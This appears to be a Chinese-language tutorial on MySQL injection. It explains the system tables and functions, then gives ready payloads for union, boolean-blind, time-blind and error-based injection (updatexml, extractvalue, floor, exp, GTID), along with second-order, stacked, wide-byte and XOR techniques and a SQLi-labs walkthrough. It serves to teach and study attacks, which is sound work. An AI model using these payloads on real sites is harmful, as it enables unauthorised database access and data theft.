MYSQL注入总结

0x01 Mysql简介

  • MySQL是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。

    • MySQL是开源的,所以你不需要支付额外的费用。
    • MySQL使用标准的 SQL 数据语言形式。
    • MySQL可以运行于多个系统上,并且支持多种语言。这些编程语言包括 C、C++、Python、Java、Perl、PHP、Eiffel、Ruby 和 Tcl 等。
    • MySQL对PHP有很好的支持,PHP 是目前最流行的 Web 开发语言。
    • MySQL支持大型数据库,支持 5000 万条记录的数据仓库,32 位系统表文件最大可支持 4GB,64 位系统支持最大的表文件为8TB。
    • MySQL是可以定制的,采用了 GPL 协议,你可以修改源码来开发自己的 MySQL 系统。
  • 那么就有人问了,什么是关系型数据库?所谓关系型数据库,就是是依据关系模型来创建的数据库。所谓关系模型是我们生活中能经常遇见的模型,存储这类数据一般用关系型数据库。比如一个老师对应多个学生的数据(“多对多”),一本书对应多个作者(“一对多”),一本书对应一个出版日期(“一对一”)。

    • 常见的关系型数据库:
      • Oracle、DB2、PostgreSQL、Microsoft SQL Server、Microsoft Access、MySQL
    • 关系型数据库的特点:
      • 安全(因为存储在磁盘中,不会说突然断电数据就没有了)、容易理解(建立在关系模型上)、但不节省空间(因为建立在关系模型上,就要遵循某些规则,好比数据中某字段值即使为空仍要分配空间)
  • 反之就有非关系型数据库,非关系型数据库主要是基于“非关系模型”的数据库(由于关系型太大,所以一般用“非关系型”来表示其他类型的数据库),

    • 非关系型模型比如有:

      • 列模型:存储的数据是一列列的。关系型数据库以一行作为一个记录,列模型数据库以一列为一个记录。(这种模型,数据即索引,IO很快,主要是一些分布式数据库)

      • 键值对模型:存储的数据是一个个“键值对”,比如name:liming,那么name这个键里面存的值就是liming

      • 文档类模型:以一个个文档来存储数据,有点类似“键值对”

    • 常见非关系模型数据库:

      • 列模型:Hbase
      • 键值对模型:redis,MemcacheDB
      • 文档类模型:mongoDB
    • 非关系型数据库的特点:

      • 效率高(因为存储在内存中)、但不安全(断电丢失数据,但其中redis可以同步数据到磁盘中),现在很多非关系型数据库都开始支持转存到磁盘中。

Mysql数据库结构

库名 功能
mysql 保存有账户信息、权限信息、存储过程等
sys 包含了一系列的存储过程、自定义函数等
information_schema 保存着MySQL服务器所维护的所有其他数据库信息。如数据库名,数据库表等
performance_schema 收集数据库服务器性能参数
  • 这些MySQL内置的数据库对注入帮助巨大。

0x02 MySQL注入常用函数

常用函数

函数名称 函数功能
mysql 保存有账户信息、权限信息、存储过程等
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() 数据库版本
@@datadir 数据库路径
@@basedir 数据库安装路径
@@version_complie_os 操作系统
count() 返回执行结果的数量
concat() 没有分割地连接字符串
concat_ws() 含有分隔符地连接字符串
group_concat() 连接一个组的所有字符串,并以逗号分隔每一条数据
load_file() 读取本地文件
into outfile 写文件
ascii() 字符串的ASCII代码值
ord() 函数返回字符串第一个字符的 ASCII 值
mid() 返回字符串的一部分
substr() 返回字符串的一部分
length() 返回字符串的长度
left() 返回字符串最左面的几个字符
floor() 返回小于等于x的最大整数
rand() 返回0至1之间的一个随机数
extractvalue() 第一个参数:XML文档对象名称;第二个参数:Xpath格式的字符串。 作用:从目标XML中返回包含所查询值的字符串
updatexml() 第一个参数:XML文档对象名称;第二个参数:Xpath格式字符串;第三个参数:string格式。作用:改变符合条件的节点的值
sleep() 让此语句运行N秒钟
if() select if(1>2,2,3) 返回 3
char() 返回整数所对应的ASCII码字符组成的字符串
exp() 返回e的n次方

MySQL运算符

符号 作用
IS NULL 为空
IS NOT NULL 不为空
BETWEEN AND 在···之间
IN 包含
NOT IN 不包含
LIKE 模式匹配
NOT LIKE 模式匹配
REGEXP 正则表达式

0x03 注入常用表、目标字段

可查字段

  • schema

    • information_schema.COLUMNS -> TABLE_SCHEMA
    • information_schema.KEY_COLUMN_USAGE -> CONSTRAINT_SCHEMA, TABLE_SCHEMA, REFERENCED_TABLE_SCHEMA
    • information_schema.PARTITIONS -> TABLE_SCHEMA
    • information_schema.SCHEMATA -> SCHEMA_NAME
    • information_schema.STATISTICS -> TABLE_SCHEMA
    • information_schema.TABLES -> TABLE_SCHEMA
    • information_schema.TABLE_CONSTRAINTS -> CONSTRAINT_SCHEMA, TABLE_SCHEMA
    • mysql.INNODB_INDEX_STATS -> database_name
    • mysql.INNODB_TABLE_STATS -> database_name
  • table

    • information_schema.COLUMNS -> TABLE_NAME
    • information_schema.KEY_COLUMN_USAGE -> TABLE_NAME, REFERENCED_TABLE_NAME
    • information_schema.PARTITIONS -> TABLE_NAME
    • information_schema.STATISTICS -> TABLE_NAME
    • information_schema.TABLES -> TABLE_NAME
    • information_schema.TABLE_CONSTRAINTS -> TABLE_NAME
    • mysql.INNODB_INDEX_STATS -> table_name
    • mysql.INNODB_TABLE_STATS -> table_name
  • column

    • information_schema.COLUMNS -> COLUMN_NAME
    • information_schema.KEY_COLUMN_USAGE -> COLUMN_NAME, REFERENCED_COLUMN_NAME
    • information_schema.STATISTICS -> COLUMN_NAME
  • mysql的查询语句完整格式如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    SELECT
    [ALL | DISTINCT | DISTINCTROW ]
    [HIGH_PRIORITY]
    [STRAIGHT_JOIN]
    [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
    [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
    [PARTITION partition_list]
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
    [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
    [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name'
    [CHARACTER SET charset_name]
    export_options
    | INTO DUMPFILE 'file_name'
    | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

0x04 Mysql相关

  • 在MySQL 5+版本后,加入了information_schema这个库,该库存放了所有数据库的信息,记录当前数据库的数据库,表,列,用户权限等信息

  • information_schema.schemata包含所有数据库的名

    • 字段
      • schema_name 数据库名
  • information_schema.tables包含所有库的表名

    • 字段
      • table_schema 数据库名
      • table_name 表名
  • information_schema.columns包含所有表的字段

    • 字段
      • table_schema 数据库名
      • table_name 表名
      • column_name 列名

0x05 Mysql注入

联合查询注入

  • 执行SQL查询,其结果能回显到页面中,那么可直接进行有回显的SQL注入,我们通常使用联合查询注入法

  • 其作用就是,在原来查询条件的基础上,通过系统关键字union从而拼接上我们自己的select语句,后个select得到的结果将拼接到前个select的结果后边。如:前个select得到2条数据,后个select得到1条数据,那么后个select的数据将作为第3条拼接到第一个select返回的内容中,其字段名将按照位置关系进行继承。

  • 如:

    正常查询语句 union select columns_name from (database.)table_name where condition

  • 这里需要注意的是:

    • 若回显仅支持一行数据的话,记得让前边正常的查询语句返回的结果为空。

    • 使用union select进行拼接时,注意前后两个select语句的返回的字段数必须相同,否则无法拼接。

      union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

  • 联合查询注入步骤

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    //查询语句
    $id=$_GET['id'];

    SELECT * FROM test WHERE id='$id' LIMIT 0,1;

    //判断字段数

    ?id=1' ORDER BY 3--+

    //判断显示位

    ?id=-1' UNION SELECT 1,2,3--+

    //利用函数获得信息

    ?id=-1 UNION SELECT 1,(version()),3--+

    //爆库

    ?id=-1' UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--+ //用LIMIT来定位查询,一个一个爆数据库

    ?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--+ //用group_concat()实现一个显示位爆出该字段下所有记录;注:group_concat函数是要连接的字段

    //爆表
    ?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--+

    //爆字段

    ?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--+

    //爆数据
    ?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--+

无回显

  • 什么叫无回显?之前举得登录判断就是一个无回显的例子。如果SQL语句存在返回的数据,那么页面输出为success,若不存在返回的数据,则输出fail。

  • 与有回显情况不同的是:无回显的页面输出内容并不是SQL语句返回的内容。

  • 对于无回显的情况,我们通常可用两种方法进行注入:报错注入与盲注。

盲注

bool盲注

  • 如果既没有可控回显点,也没有报错信息,但是页面有正常和异常两种显示,我们就可以构造查询,通过页面状态判断猜解是否正确,其实是爆破的一种类型,本质上是一个字符一个字符的猜解,常用函数:

    1、LENGTH(s): 返回字符串 s 的长度
    2、LEFT(s,n):返回字符串 s 的前 n 个字符
    3、ASCII(s):返回字符串 s 的第一个字符的 ASCII 码
    4、SUBSTR(s, start, length):从字符串 s 的 start 位置截取长度为 length 的子字符串
    5、MID、SUBSTR、SUBSTRING 一样

  • 简单例子:

    1
    2
    3
    1' and (length(database()))>10;
    1' and ascii(substr((select database()),1,1)>144;
    1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>60;

时间盲注

  • 如果没有可控的回显点,没有报错信息,bool真假页面无变化,可以考虑延时注入,常用函数如下:

    1
    2
    3
    SLEEP (pauses):休眠,参数为休眠的时长,单位秒
    IF(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
    FIND_IN_SET(string, string_list):返回字符串列表中字符串的位置
  • 简单例子:

    1
    2
    3
    4
    1' or sleep(2);
    1' and if(ascii(substr(database(),1,1))>115,0,sleep(5));
    1' union select 1,2,sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
    1' and if(ascii(substring((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1);
  • 其他数据库的延时函数:

    1
    2
    3
    Mysql: BENCHMARK(100000,MD5(1))  or sleep(5) 
    Postgresql: PG_SLEEP(5) OR GENERATE_SERIES(1,10000)
    Mssql: WAITFOR DELAY '0:0:5'

报错注入

  • 速查能力表
    • 默认 MYSQL_ERRMSG_SIZE = 512
  • 优先考虑函数显错长度,若函数回显长度未限制,则考虑Mysql报错内容长度限制
类别 函数 版本需求 5.5.x 5.6.x 5.7.x 8.x 函数显错长度 Mysql报错内容长度 额外限制
主键重复 floor、round ✔️ ✔️ ✔️ 64
列名重复 name_const ✔️ ✔️ ✔️ ✔️
join [5.5.49, ?) ✔️ ✔️ ✔️ ✔️
数据溢出 - Double [5.5.5, 5.5.48] ✔️ MYSQL_ERRMSG_SIZE
数据溢出 - BIGINT 1e308 cot exp pow [5.5.5, 5.5.48] ✔️ MYSQL_ERRMSG_SIZE
几何对象 geometrycollection linestring multipoint multipolygon multilinestring polygon [?, 5.5.48] ✔️ 244
空间函数 Geohash ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash [5.7, ?) ✔️ ✔️ 128
GTID gtid_subset gtid_subtract [5.6.5, ?) ✔️ ✔️ ✔️ 200
JSON json_* [5.7.8, 5.7.11] ✔️ 200
UUID uuid_to_bin bin_to_uuid [8.0, ?) ✔️ 128
XPath extractvalue updatexml [5.1.5, ?) ✔️ ✔️ ✔️ ✔️ 32

Xpath语法错误-updatexml()

  • 使用条件:mysql版本>5.1.5

  • 函数语法:updatexml(XML_document, XPath_string, new_value);

    • 第一个参数:XML_document是String格式,为XML文档对象的名称

    • 第二个参数:XPath_string (Xpath格式的字符串)

    • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

    • 我们通常在第二个xpath参数填写我们要查询的内容。与exp()不同,updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息。

  • Payload构造:

    mysql> select updatexml(1,concat(0x7e,version(),0x7e),1);

    -w698

    • updatexml(1,concat(0x7e,(普通注入语句),0x7e),1)–+基本就能注出数据了

      mysql> select extractvalue(1,concat(0x7e,user(),0x7e));

      -w710

  • 前后添加~使其不符合xpath格式从而报错,因为Xpath语法只有遇到特殊字符时才会报错

Xpath语法错误-extractvalue()

  • 原理分析

    • extractvalue(xml_str , Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回值都是NULL。

    • 其实就是对XML文档进行查询的函数,相当于HTML文件中用$\color{red}{

    • 举个简单例子:

      select extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c');

    • 寻找前一段xml文档内容中的a节点下的c节点

      1
      2
      3
      4
      5
      +----------------------------------------------------------+
      | extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c') |
      +----------------------------------------------------------+
      | accc |
      +----------------------------------------------------------+
  • 使用条件:Mysql版本>5.1.5

  • 函数语法:EXTRACTVALUE (XML_document, XPath_string);

  • 利用原理与updatexml函数相同

  • payload:

    and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

    -w770

floor()报错注入

1
2
3
4
5
6
7
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
/*
concat: 连接字符串
floor: 取float的整数值
rand: 取0~1之间随机浮点值
group by: 根据一个或多个列对结果集进行分组并有排序功能
*/

exp()报错注入

  • 函数语法:exp(int)

  • 适用版本:5.5.5~5.5.49,之后已不再支持溢出注入攻击

  • 利用原理:引自

    • 以 e 为底指数函数求值,配合~取反函数进行整数溢出报错
    • 利用MySQL中的Double型数据溢出,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。
      -w831
  • $\color{red}{注入Payload:}$select exp(~(select * FROM(SELECT USER())a));

  • 其中,~符号为运算符,意思为一元字符反转,通常将字符串经过处理后变成大整数,再放到exp函数内,得到的结果将超过mysql的double数组范围,从而报错输出.

Bigint数值操作

  • 利用原理:当mysql数据库的某些边界数值进行数值运算时,会报错的原理。
  • 如~0得到的结果:18446744073709551615
  • 若此数参与运算,则很容易会错误。
  • payload:
    select !(select * from(select user())a)-~0;
Type Storage (Bytes) Minimum Value Signed Minimum Value Unsigned Maximum Value Signed Maximum Value Unsigned
TINYINT 1 -128 0 127 255
SMALLINT 2 -32768 0 32767 65535
MEDIUMINT 3 -8388608 0 8388607 16777215
INT 4 -2147483648 0 2147483647 4294967295
BIGINT 8 -2^63=-9223372036854775807 0 2^63-1=9223372036854775807 2^64-1=18446744073709551615

不存在的函数

  • 利用原理:利用不存在的函数,可能会得到当前所在的数据库名称。
    -w827

列名重复-name_const()

  • mysql 列名重复也会报错,缺点目前只能报版本号

  • payload:
    select * from (select name_const(version(),0x1),name_const(version(),0x1))a;

    -w884

join using()注列名

  • 适用版本:需要 version >= 5.5.49 才可使用

  • 利用原理:

    • 通过系统关键词join可建立两个表之间的内连接。

    • 通过对想要查询列名的表与其自身建议内连接,会由于冗余的原因(相同列名存在),而发生错误。

    • 并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。

      1
      2
      3
      mysql>select * from(select * from users a join (select * from users)b)c;
      mysql>select * from(select * from users a join (select * from users)b using(username))c;
      mysql>select * from(select * from users a join (select * from users)b using(username,password))c

GTID相关函数

  • 适用版本:需要 version => 5.6.5 才可使用

  • 利用原理:参数格式不正确。

  • Payload:
    select target_function(<payload>, 0);

    1
    2
    3
    mysql>select gtid_subset(user(),1);
    mysql>select gtid_subset(hex(substr((select * from users limit 1,1),1,1)),1);
    mysql>select gtid_subtract((select * from(select user())a),1);

    -w798

二次注入

涉及函数

  • addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
  • mysql_r - mysql_real_escape_string() 函数转义 SQL 语句中
  • mysql_escape_string() — 转义一个字符串

漏洞原理

  • 用户构造恶意数据存储在数据库,当数据库再次读取此数据时候造成注入。开发者对用户输入的数据做了过滤或者转义等处理,但写进数据库的还是“脏数据”,当 Web 应用调用“脏数据”时候发生了注入,概括起来很简单:

    • 1、恶意数据的写入
    • 2、恶意数据的调用

    如下图所示:

题目实战

SQL-labs24关便涉及到二次注入
先来看一下登陆时的源码
-w622
过滤函数将特殊符号给过滤掉了,所以直接注入是没戏的
再来查看一下用户注册的源码
-w610
同样过滤特殊字符,从注册进行注入也是不可能了
最后看一下修改密码的源码
-w617
同样如此,那就只能利用二次注入,先将恶意语句注入进数据库中,再调用
我们先注册一个用户admin’#,密码设置为123,注册好之后查看一下数据库

注册成功,这时其实我们就可以修改管理员admin,为什么那,来看下修改密码的sql语句

我们用户名为admin’#,调用该用户时,SQL语句则变为了
-w690

堆叠注入

涉及字符

  • 分号(;),在SQL语句中用来表示一条sql语句的结束

原理分析

  • 堆叠注入可以执行任意的语句 ,多条sql 语句一起执行。在MYSQL命令框中,常以;作为结束符,那我们便可以在一句SQL语句结束后再紧跟一句SQL语句 。

  • 查数据库
    -w578

  • 但堆叠注入是有局限性的,并不是每个环境都可以用到的:

    • 1、可能受到API或者数据库引擎不支持的限制
    • 2、权限不足

宽字节注入

涉及函数

  • addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
  • mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
  • mysql_escape_string() — 转义一个字符串

漏洞原因

  • 为了防止 SQL 注入,PHP 提供了对特殊字符的转义功能:

    1、magic_quotes_gpc=On,PHP配置,GPPC 在 PHP5.4 之后已经被官方移除。 2、addslashes,PHP函数。

  • 这两种方法都是为了实现一个功能,为 POST、GET、COOKIE、$SERVER(该变量不受GPC保护) 过来的特殊字符前加反斜杠 \(也就是做转义),如单引号 ‘、双引号 “、反斜线 \、NULL(NULL 字符)等,但就是这个防止 SQL 注入的功能,成了 SQL 注入的突破点,为避免用户过度依赖这个不是特别安全的函数,GPC 在 PHP5.4 之后已经被官方移除。下面看看漏洞产生的过程:

    1、构造语句 %df%27(%27 是单引号 ' ) ; 2、首先 addslashes 会在单引号前加反斜杠转义,变成 %df%5c%27(%5c 是反斜杠 \ ); 3、然后因为数据库设置了 GBK 编码,GBK 是双字节编码,发现 %df%5c 在其汉字编码范围内,于是 %df%5c 被转换成”運”,单引号 %27 逃逸; 4、最后MySQL查询时候执行的其实是 運',单引号可闭合代码造成注入漏洞。 5、过程 %df%27–(addslashes)–%df%5c%27–(GBK编码)–運’

异或注入

涉及符号

  • MySQL中,异或用^或xor表示

原理分析

  • 异或注入原理较为简单一些,运算法则就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null

  • 简单在mysql命令行演示一下:
    -w533

  • 用异或方法可以判断一些字符是否被过滤,如:
    -w627